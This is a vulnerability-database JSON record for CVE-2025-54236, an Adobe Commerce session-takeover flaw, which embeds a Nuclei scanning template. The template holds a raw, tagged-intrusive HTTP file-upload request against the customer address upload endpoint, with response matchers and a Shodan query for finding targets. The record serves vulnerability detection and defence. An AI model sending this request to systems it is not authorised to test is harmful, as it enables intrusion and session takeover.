{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-54236/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-54236/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-54236/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-54236/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-54236/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-54236"},"sightings":{"href":"/api/v1/sightings/cve-2025-54236"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.94532,"kev":true,"percentile":0.99851},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-54236.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-54236\n\ninfo:\n  name: Adobe Commerce - Authentication Bypass\n  author: DhiyaneshDK,slcyber,johnk3r\n  severity: critical\n  description: |\n    Adobe Commerce versions 2.4.9-alpha2, 2.4.8-p2, 2.4.7-p7, 2.4.6-p12, 2.4.5-p14, 2.4.4-p15 and earlier are affected by an Improper Input Validation vulnerability. A successful attacker can abuse this to achieve session takeover, increasing the confidentiality, and integrity impact to high. Exploitation of this issue does not require user interaction.\n  impact: |\n    Attackers can take over user sessions, compromising confidentiality and integrity of user data.\n  remediation: |\n    Update to the latest Adobe Commerce version.\n  reference:\n    - https://slcyber.io/assetnote-security-research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/?v=2\n    - https://sansec.io/research/sessionreaper\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: \"X-Magento-Tags\"\n  tags: cve,cve2025,file-upload,intrusive,auth-bypass,kev,vkev,vuln\n\nvariables:\n  form_key: \"{{rand_text_alphanumeric(16)}}\"\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n  marker: \"{{randstr}}\"\n  base64: \"{{base64(filename)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /customer/address_file/upload HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ\n        Cookie: form_key={{form_key}}\n\n        ------WebKitFormBoundaryDNFoGI9h3cNjiBCQ\n        Content-Disposition: form-data; name=\"form_key\"\n\n        {{form_key}}\n        ------WebKitFormBoundaryDNFoGI9h3cNjiBCQ\n        Content-Disposition: form-data; name=\"custom_attributes[country_id]\"; filename=\"{{filename}}\"\n        Content-Type: text/plain\n\n        {{marker}}\n        ------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--\n\n        {\n          \"name\": \"{{filename}}\",\n          \"full_path\": \"{{filename}}\",\n          \"type\": \"text/plain\",\n          \"tmp_name\": \"{{filename}}\",\n          \"error\": 0,\n          \"size\": 11,\n          \"file\": \"/t/e/{{filename}}\",\n          \"url\": \"{{RootURL}}/customer/address/viewfile/file/{{base64}}~~/\"\n        }\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_any(body, \"full_path\",\"tmp_name\",\"size\",\"{{base64}}\" )'\n        condition: and\n# digest: 4a0a00473045022056e9d1d3a44e3c971faf56ac272658127e1c4ea8c40b84d4c75208c5a66e8da0022100f57a1d79a3c4b3eb15b10b6b36b6c1842f860b65a0ee9174b436611c8bd38981:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-54236"}